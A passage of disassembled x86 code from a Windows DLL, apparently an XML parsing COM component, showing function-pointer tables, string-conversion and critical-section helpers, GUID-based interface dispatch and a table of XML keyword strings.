		dd offset sub_69B84A3B
		dd offset sub_69B365F3
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		align 8
off_69B1EA68	dd offset loc_69B84513	; DATA XREF: sub_69B1E82F+3Co
		dd offset sub_69B1EC38
		dd offset sub_69B1EC38
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B365EB
		dd offset sub_69B84A23
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A2B
		dd offset sub_69B365F3
		dd offset sub_69B365F3
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A33
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84578
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B

; =============== S U B	R O U T	I N E =======================================



sub_69B1EC38	proc near		; DATA XREF: .text:69B14630o
					; .text:69B14708o ...
		xor	eax, eax
		inc	eax
		retn	4
sub_69B1EC38	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19C19


loc_69B1EC3E:				; CODE XREF: sub_69B19C19+13j
		cmp	dword_69B95AFC,	1
		jz	loc_69B2535E
		push	offset ModuleName ; "kernel32.dll"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		test	eax, eax
		jz	loc_69B2535E
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_69B95DA4,	eax
		test	eax, eax
		jnz	loc_69B19C32
		jmp	loc_69B2535E
; END OF FUNCTION CHUNK	FOR sub_69B19C19
; ---------------------------------------------------------------------------
; char aInitializecrit[]
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_69B19C19+5045o
		align 4
; char ModuleName[]
ModuleName	db 'kernel32.dll',0     ; DATA XREF: sub_69B1CA7C+D8o
					; sub_69B1CD73+Fo ...

; =============== S U B	R O U T	I N E =======================================



sub_69B1ECB1	proc near		; CODE XREF: sub_69B19189+67p
					; sub_69B86E55+60p

; FUNCTION CHUNK AT 69B25396 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 69B253DB SIZE 0000009C BYTES

		push	1Ch
		push	offset dword_69B1EDD8
		call	sub_69B19C5C
		xor	esi, esi
		cmp	dword_69B95DA8,	esi
		jnz	short loc_69B1ECE9
		lea	eax, [ebp-1Ch]
		push	eax		; lpCharType
		xor	edi, edi
		inc	edi
		push	edi		; cchSrc
		push	offset SrcStr	; lpSrcStr
		push	edi		; dwInfoType
		call	ds:GetStringTypeW	; GetStringTypeW
		test	eax, eax
		jz	loc_69B25396
		mov	dword_69B95DA8,	edi


loc_69B1ECE9:				; CODE XREF: sub_69B1ECB1+14j
					; sub_69B1ECB1+66EEj ...
		mov	eax, dword_69B95DA8
		cmp	eax, 2
		jz	loc_69B1EDBF
		cmp	eax, esi
		jz	loc_69B1EDBF
		cmp	eax, 1
		jnz	loc_69B1EDCF
		mov	[ebp-20h], esi
		mov	[ebp-24h], esi
		cmp	[ebp+18h], esi
		jz	loc_69B253B4


loc_69B1ED17:				; CODE XREF: sub_69B1ECB1+670Bj
		push	esi		; cchWideChar
		push	esi		; lpWideCharStr
		push	dword ptr [ebp+10h] ; cchMultiByte
		push	dword ptr [ebp+0Ch] ; lpMultiByteStr
		xor	eax, eax
		cmp	[ebp+20h], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax		; dwFlags
		push	dword ptr [ebp+18h] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-28h], ebx
		test	ebx, ebx
		jz	loc_69B1EDCF
		and	dword ptr [ebp-4], 0
		lea	edi, [ebx+ebx]
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-2Ch], esi
		mov	ecx, edi
		xor	eax, eax
		mov	edi, esi
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B1ED79:				; CODE XREF: sub_69B253C5+11j
		test	esi, esi
		jz	loc_69B253DB


loc_69B1ED81:				; CODE XREF: sub_69B1ECB1+6745j
		push	ebx		; cchWideChar
		push	esi		; lpWideCharStr
		push	dword ptr [ebp+10h] ; cchMultiByte
		push	dword ptr [ebp+0Ch] ; lpMultiByteStr
		push	1		; dwFlags
		push	dword ptr [ebp+18h] ; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_69B1EDA9
		push	dword ptr [ebp+14h] ; lpCharType
		push	eax		; cchSrc
		push	esi		; lpSrcStr
		push	dword ptr [ebp+8] ; dwInfoType
		call	ds:GetStringTypeW	; GetStringTypeW
		mov	[ebp-20h], eax


loc_69B1EDA9:				; CODE XREF: sub_69B1ECB1+E5j
		cmp	dword ptr [ebp-24h], 0
		jnz	loc_69B253FB


loc_69B1EDB3:				; CODE XREF: sub_69B1ECB1+6751j
		mov	eax, [ebp-20h]


loc_69B1EDB6:				; CODE XREF: sub_69B1ECB1+120j
					; sub_69B1ECB1+67C1j
		lea	esp, [ebp-38h]
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1EDBF:				; CODE XREF: sub_69B1ECB1+40j
					; sub_69B1ECB1+48j
		mov	edi, [ebp+1Ch]
		cmp	edi, esi
		jnz	loc_69B2540D
		jmp	loc_69B25407
; ---------------------------------------------------------------------------


loc_69B1EDCF:				; CODE XREF: sub_69B1ECB1+51j
					; sub_69B1ECB1+8Ej ...
		xor	eax, eax
		jmp	short loc_69B1EDB6
sub_69B1ECB1	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B1EDD8	dd 0FFFFFFFFh			dd offset sub_69B253C1
		dd offset sub_69B253C5
; const	WCHAR SrcStr
SrcStr		dw 0			; DATA XREF: sub_69B1AEC4+1Co
					; sub_69B1ECB1+1Eo
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B1EDE8	proc near		; CODE XREF: sub_69B1992C+59p
					; sub_69B19E6E+164p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B1EE00
		mov	eax, esi
		pop	esi
		retn
sub_69B1EDE8	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1EE00	dd offset sub_69B2D67E	; DATA XREF: sub_69B1EDE8+8o
					; sub_69B4E278+7Ao ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B1F6C0
		dd offset sub_69B69383
		dd offset sub_69B728FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C12C


loc_69B1EE40:				; CODE XREF: sub_69B1C12C+1Cj
		jz	loc_69B1EFCE
		mov	ecx, 2933BF95h
		cmp	eax, ecx
		ja	loc_69B1EF6C
		jz	loc_69B1EF46
		cmp	eax, 3
		jz	loc_69B1EF0F
		cmp	eax, 0Ch
		jz	short loc_69B1EEE4
		cmp	eax, 109h
		jz	short loc_69B1EEAC
		cmp	eax, 2933BF81h
		jnz	loc_69B1C19F
		push	offset stru_69B25E34


loc_69B1EE7E:				; CODE XREF: sub_69B1C12C+2E1Fj
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		cmp	byte ptr [esi+8Dh], 0
		jz	loc_69B1C19F
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jz	loc_69B1EF50
		push	[ebp+arg_0]
		jmp	loc_69B1C197
; ---------------------------------------------------------------------------


loc_69B1EEAC:				; CODE XREF: sub_69B1C12C+2D40j
		push	offset dword_69B2B020


loc_69B1EEB1:				; CODE XREF: sub_69B1C12C+2E5Ej
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B1EEDD
		push	dword ptr [esi+3Ch]
		add	esi, 24h
		push	esi
		mov	ecx, eax
		call	sub_69B14D48
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1EEDD:				; CODE XREF: sub_69B1C12C+2D9Cj
					; sub_69B1C12C+2DD4j ...
		xor	eax, eax
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1EEE4:				; CODE XREF: sub_69B1C12C+2D39j
		push	offset dword_69B2AFF0
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	34h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B1EEDD
		push	esi
		mov	ecx, eax
		call	sub_69B56509
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1EF0F:				; CODE XREF: sub_69B1C12C+2D30j
		push	offset dword_69B2B030
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		cmp	dword ptr [esi+0E0h], 0
		jz	loc_69B1C19F
		push	[ebp+arg_C]	; int
		lea	ecx, [esi+0DCh]	; ppunkMarshal
		push	edi		; int
		push	esi		; punkOuter
		call	sub_69B88245
		mov	ebx, eax
		jmp	loc_69B1C19F
; ---------------------------------------------------------------------------


loc_69B1EF46:				; CODE XREF: sub_69B1C12C+2D27j
		push	offset dword_69B25E14
		jmp	loc_69B1EE7E
; ---------------------------------------------------------------------------


loc_69B1EF50:				; CODE XREF: sub_69B1C12C+2D72j
		push	44h
		call	sub_69B1D897
		cmp	eax, ebx
		jz	loc_69B1DF39
		push	esi
		mov	ecx, eax
		call	sub_69B592CE
		jmp	loc_69B1DF2F
; ---------------------------------------------------------------------------


loc_69B1EF6C:				; CODE XREF: sub_69B1C12C+2D21j
		cmp	eax, 2B8DE2FEh
		jz	short loc_69B1EFC4
		cmp	eax, 79EAC9C9h
		jz	short loc_69B1EF8F
		cmp	eax, 7FD52380h
		jnz	loc_69B1C19F
		push	offset dword_69B2B0D0
		jmp	loc_69B1EEB1
; ---------------------------------------------------------------------------


loc_69B1EF8F:				; CODE XREF: sub_69B1C12C+2E4Cj
		push	offset dword_69B2AFA0
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B1EEDD
		push	dword ptr [esi+3Ch]
		add	esi, 28h
		push	esi
		mov	ecx, eax
		call	sub_69B14C7C
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1EFC4:				; CODE XREF: sub_69B1C12C+2E45j
		push	offset dword_69B1F1F0
		jmp	loc_69B1C176
; ---------------------------------------------------------------------------


loc_69B1EFCE:				; CODE XREF: sub_69B1C12C:loc_69B1EE40j
		push	offset dword_69B25CE4
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		cmp	byte ptr [esi+8Dh], 0
		jnz	loc_69B1C19F
		push	14h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B1EEDD
		push	esi
		mov	ecx, eax
		call	sub_69B14D14
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1F00A:				; CODE XREF: sub_69B1C12C+29j
		jz	loc_69B1F121
		cmp	eax, 0B196B283h
		jz	loc_69B1F0D5
		cmp	eax, 0B196B284h
		jz	short loc_69B1F08A
		cmp	eax, 0B722BCCBh
		jz	short loc_69B1F055
		cmp	eax, 0CB5BDC81h
		jnz	loc_69B1C19F
		push	offset dword_69B2B110
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	dword ptr [esi+3Ch]
		push	esi
		call	sub_69B8A09C
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1F055:				; CODE XREF: sub_69B1C12C+2EFBj
		push	offset nullsub_2
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B1EEDD
		push	dword ptr [esi+3Ch]
		add	esi, 2Ch
		push	esi
		mov	ecx, eax
		call	sub_69B14CD0
		jmp	loc_69B1F10D
; ---------------------------------------------------------------------------


loc_69B1F08A:				; CODE XREF: sub_69B1C12C+2EF4j
		push	offset dword_69B2B100
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	2Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B1F0C5
		lea	ecx, [esi+0A4h]
		push	ecx
		lea	ecx, [esi+0A0h]
		push	ecx
		push	esi
		push	offset dword_69B25D04
		mov	ecx, eax
		call	sub_69B50CCC
		jmp	short loc_69B1F0C7
; ---------------------------------------------------------------------------


loc_69B1F0C5:				; CODE XREF: sub_69B1C12C+2F7Aj
		xor	eax, eax


loc_69B1F0C7:				; CODE XREF: sub_69B1C12C+2F97j
		test	eax, eax
		jnz	short loc_69B1F10D
		mov	ebx, 8007000Eh
		jmp	loc_69B1C19F
; ---------------------------------------------------------------------------


loc_69B1F0D5:				; CODE XREF: sub_69B1C12C+2EE9j
		push	offset dword_69B2B0F0
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	14h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B1F107
		push	offset dword_69B12158
		push	offset libID
		push	esi
		mov	ecx, eax
		call	sub_69B59CC9
		jmp	short loc_69B1F109
; ---------------------------------------------------------------------------


loc_69B1F107:				; CODE XREF: sub_69B1C12C+2FC5j
		xor	eax, eax


loc_69B1F109:				; CODE XREF: sub_69B1C12C+2FD9j
		test	eax, eax
		jz	short loc_69B1F117


loc_69B1F10D:				; CODE XREF: sub_69B1C12C+2DACj
					; sub_69B1C12C+2DB3j ...
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	loc_69B1F1E7
; ---------------------------------------------------------------------------


loc_69B1F117:				; CODE XREF: sub_69B1C12C+2FDFj
		mov	eax, 8007000Eh
		jmp	loc_69B1C1A1
; ---------------------------------------------------------------------------


loc_69B1F121:				; CODE XREF: sub_69B1C12C:loc_69B1F00Aj
		push	offset stru_69B25E84
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B1F15F
		push	esi
		push	edi
		lea	ecx, [ebp+var_14]
		call	sub_69B43E1C
		cmp	[ebp+var_10], 0
		jnz	short loc_69B1F169
		lea	ecx, [ebp+var_14]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B1F15F:				; CODE XREF: sub_69B1C12C+3012j
		mov	eax, 80004005h
		jmp	loc_69B1C1A1
; ---------------------------------------------------------------------------


loc_69B1F169:				; CODE XREF: sub_69B1C12C+3022j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B3DE0E
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_C]
		mov	[eax], ecx
		lea	ecx, [ebp+var_14]
		xor	ebx, ebx
		call	sub_69B4637D
		push	edi
		call	dword_69B92944
		jmp	loc_69B1C19F
; ---------------------------------------------------------------------------


loc_69B1F192:				; CODE XREF: sub_69B1C12C+3Fj
		cmp	eax, 0FC4801A3h
		jnz	loc_69B1C19F
		push	offset dword_69B2B0C0
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	dword ptr [esi+3Ch]
		push	esi
		call	sub_69B8A09C
		mov	ecx, eax
		add	eax, 4
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ebp+arg_C]
		mov	[eax], ecx
		jmp	short loc_69B1F1E7
; ---------------------------------------------------------------------------


loc_69B1F1CB:				; CODE XREF: sub_69B1C12C+34j
		push	offset dword_69B1F200
		push	edi
		call	sub_69B1C1B8
		test	eax, eax
		jz	loc_69B1C19F
		push	esi
		push	[ebp+arg_C]
		call	sub_69B17320


loc_69B1F1E7:				; CODE XREF: sub_69B1C12C+2FE6j
					; sub_69B1C12C+309Dj
		xor	ebx, ebx
		jmp	loc_69B1C19F
; END OF FUNCTION CHUNK	FOR sub_69B1C12C
; ---------------------------------------------------------------------------
		align 10h
dword_69B1F1F0	dd 2B8DE2FEh, 11D18D2Dh, 0C000FCB2h, 0A915D94Fh
					; DATA XREF: sub_69B1C12C:loc_69B1EFC4o
					; .data:off_69B92218o
dword_69B1F200	dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h
					; DATA XREF: sub_69B1C12C:loc_69B1F1CBo
; GUID libID
libID		dd 0F5078F18h		; Data1	; DATA XREF: sub_69B1C12C+2FCCo
					; DllUnregisterServer+37o ...
		dw 0C551h		; Data2
		dw 11D3h		; Data3
		db 89h,	0B9h, 2	dup(0),	0F8h, 1Fh, 0E2h, 21h; Data4
off_69B1F220	dd offset sub_69B448B2	; DATA XREF: sub_69B1BB5E+1Do
					; sub_69B1BBB7+7o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B1F23C
		dd offset sub_69B1C3B2
		dd offset sub_69B8080F
		dd offset sub_69B2DE82

; =============== S U B	R O U T	I N E =======================================



sub_69B1F23C	proc near		; DATA XREF: .text:69B1F22Co
		add	ecx, 10h
		push	ecx		; lpCriticalSection
		call	ds:EnterCriticalSection
		retn
sub_69B1F23C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1F248	dd offset sub_69B448B2	; DATA XREF: sub_69B19B0D+24o
					; sub_69B1AE5D+2Fo
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B1F264
		dd offset sub_69B11D73
		dd offset sub_69B2DE91
		dd offset sub_69B18ED9

; =============== S U B	R O U T	I N E =======================================



sub_69B1F264	proc near		; DATA XREF: .text:69B1F254o
		push	0FFFFFFFFh	; dwMilliseconds
		call	sub_69B18F8A
		retn
sub_69B1F264	endp

; ---------------------------------------------------------------------------
off_69B1F26C	dd offset off_69B17D10	; DATA XREF: .data:69B921D4o
		dd 0
		dd 9
		dd offset aNamespace_0	; "namespace"
		align 10h
aNamespace_0:				; DATA XREF: .text:69B1F278o
		unicode	0, <namespace>,0
		align 8
off_69B1F298	dd offset off_69B17D10	; DATA XREF: .data:69B921A8o
		align 10h
		dd 0Dh
		dd offset aXmlNamespace	; "xml:namespace"
aXmlNamespace:				; DATA XREF: .text:69B1F2A4o
		unicode	0, <xml:namespace>,0
		align 8
off_69B1F2C8	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+350o
					; sub_69B19E6E+5Co ...
		align 10h
		dd 3
		dd offset aXml_0	; "xml"
; const	WCHAR aXml_0
aXml_0:					; DATA XREF: .text:69B1F2D4o
					; sub_69B4D560+28o ...
		unicode	0, <xml>,0
off_69B1F2E0	dd offset off_69B17D10	; DATA XREF: .data:69B921A4o
		align 8
		dd 9
		dd offset aXmlSpace_1	; "XML-SPACE"
; const	WCHAR aXmlSpace_1
aXmlSpace_1:				; DATA XREF: .text:69B1F2ECo
					; sub_69B4F0B4+208o
		unicode	0, <XML-SPACE>,0
off_69B1F304	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+74o
					; sub_69B490BC+62o ...
		dd 0
		dd 5
		dd offset Str1		; "xmlns"
		align 8
; const	WCHAR Str1
Str1:					; DATA XREF: .text:69B1F310o
					; sub_69B4D560+3Fo ...
		unicode	0, <xmlns>,0
		align 8
off_69B1F328	dd offset off_69B17D10	; DATA XREF: .data:off_69B92188o
		align 10h
		dd 5
		dd offset aCdata_2	; "CDATA"
aCdata_2:				; DATA XREF: .text:69B1F334o
		unicode	0, <CDATA>,0
		align 8
off_69B1F348	dd offset off_69B17D10	; DATA XREF: .data:69B9218Co
		align 10h
		dd 7
		dd offset aPcdata	; "#PCDATA"
aPcdata:				; DATA XREF: .text:69B1F354o
		unicode	0, <#PCDATA>,0
off_69B1F368	dd offset off_69B17D10	; DATA XREF: .data:69B921E0o
		align 10h
		dd 5
		dd offset aEmpty	; "EMPTY"
aEmpty:					; DATA XREF: .text:69B1F374o
		unicode	0, <EMPTY>,0
off_69B1F384	dd offset off_69B17D10	; DATA XREF: .data:69B921E4o
		dd 0
		dd 3
		dd offset aAny_0	; "ANY"
aAny_0:					; DATA XREF: .text:69B1F390o
		unicode	0, <ANY>,0
		align 10h
off_69B1F3A0	dd offset off_69B17D10	; DATA XREF: .data:69B921C4o
		align 8
		dd 4
		dd offset aName_1	; "name"
aName_1:				; DATA XREF: .text:69B1F3ACo
		unicode	0, <name>,0
		align 10h
off_69B1F3C0	dd offset off_69B17D10	; DATA XREF: .data:69B921E8o
		align 8
		dd 6
		dd offset aColumn	; "COLUMN"
aColumn:				; DATA XREF: .text:69B1F3CCo
		unicode	0, <COLUMN>,0
		align 10h
off_69B1F3E0	dd offset off_69B17D10	; DATA XREF: .data:69B921ECo
		align 8
		dd 6
		dd offset aRowset	; "ROWSET"
aRowset:				; DATA XREF: .text:69B1F3ECo
		unicode	0, <ROWSET>,0
		align 10h
off_69B1F400	dd offset off_69B17D10	; DATA XREF: .data:69B921F0o
		align 8
		dd 4
		dd offset aName_2	; "NAME"
aName_2:				; DATA XREF: .text:69B1F40Co
		unicode	0, <NAME>,0
		align 10h
off_69B1F420	dd offset off_69B17D10	; DATA XREF: .data:69B921F4o
		align 8
		dd 9
		dd offset aChildname	; "CHILDNAME"
aChildname:				; DATA XREF: .text:69B1F42Co
		unicode	0, <CHILDNAME>,0
off_69B1F444	dd offset off_69B17D10	; DATA XREF: .data:69B921F8o
		dd 0
		dd 4
		dd offset aAttr		; "ATTR"
		align 8
aAttr:					; DATA XREF: .text:69B1F450o
		unicode	0, <ATTR>,0
		align 8
off_69B1F468	dd offset off_69B17D10	; DATA XREF: .data:69B921FCo
		align 10h
		dd 4
		dd offset aText_1	; "TEXT"
aText_1:				; DATA XREF: .text:69B1F474o
		unicode	0, <TEXT>,0
		align 8
off_69B1F488	dd offset off_69B17D10	; DATA XREF: .data:69B921C8o
		align 10h
		dd 2
		dd offset aId_0		; "ID"
aId_0:					; DATA XREF: .text:69B1F494o
		unicode	0, <ID>,0
		align 10h
off_69B1F4A0	dd offset off_69B17D10	; DATA XREF: .data:69B92208o
		align 8
		dd 6
		dd offset aValues_0	; "values"
aValues_0:				; DATA XREF: .text:69B1F4ACo
		unicode	0, <values>,0
		align 10h
off_69B1F4C0	dd offset off_69B17D10	; DATA XREF: .data:69B921CCo
		align 8
		dd 7
		dd offset aDefault_1	; "DEFAULT"
aDefault_1:				; DATA XREF: .text:69B1F4CCo
		unicode	0, <DEFAULT>,0
off_69B1F4E0	dd offset off_69B17D10	; DATA XREF: .data:69B921D0o
		align 8
		dd 5
		dd offset aSpace	; "space"
aSpace:					; DATA XREF: .text:69B1F4ECo
		unicode	0, <space>,0
off_69B1F4FC	dd offset off_69B17D10	; DATA XREF: .data:69B921B8o
		dd 0
		dd 8
		dd offset aPreserve	; "preserve"
		align 10h
; const	WCHAR aPreserve
aPreserve:				; DATA XREF: .text:69B1F508o
					; sub_69B4A16C+6Eo ...
		unicode	0, <preserve>,0
		align 4
off_69B1F524	dd offset off_69B17D10	; DATA XREF: .data:69B921BCo
		dd 0
		dd 7
		dd offset aDefault	; "default"
; const	WCHAR aDefault
aDefault:				; DATA XREF: .text:69B1F530o
					; sub_69B4EE00+2Do ...
		unicode	0, <default>,0
off_69B1F544	dd offset sub_69B3B844	; DATA XREF: sub_69B3BA77+18o
					; sub_69B3BC4C+Do
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B3B8CA
		dd offset sub_69B3B5B0
		dd offset sub_69B3B684

; =============== S U B	R O U T	I N E =======================================



sub_69B1F56C	proc near		; CODE XREF: .text:69B3BB6Dj
					; .text:69B3BB8Bj ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 0Ch
		call	sub_69B18E54
		retn	4
sub_69B1F56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1F57B	proc near		; CODE XREF: sub_69B6DF25+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B65445
		mov	dword ptr [esi], offset	off_69B1F640
		mov	dword ptr [esi+8], offset off_69B1F5E0
		lea	ebx, [esi+10h]
		and	dword ptr [ebx], 0
		push	20h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 4
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B1F680
		call	sub_69B17320
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_69B6DD88
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		call	sub_69B6DD88
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B1F57B	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1F5E0	dd offset sub_69B65C47	; DATA XREF: sub_69B1F57B+10o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6DD7B
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6DD83
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6DF01
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67765
		dd offset sub_69B698CB
		dd offset sub_69B6DD77
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6DF09
		dd offset sub_69B6DDC4
		dd offset sub_69B82AF4
		dd offset sub_69B6DDF7
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B1F640	dd offset sub_69B6547B	; DATA XREF: sub_69B1F57B+Ao
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65878
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6DD27
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6DE7B
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65760
		dd offset sub_69B6860C
		dd offset nullsub_3
off_69B1F680	dd offset sub_69B2D67E	; DATA XREF: sub_69B1F57B+36o
					; sub_69B6974E+43o ...
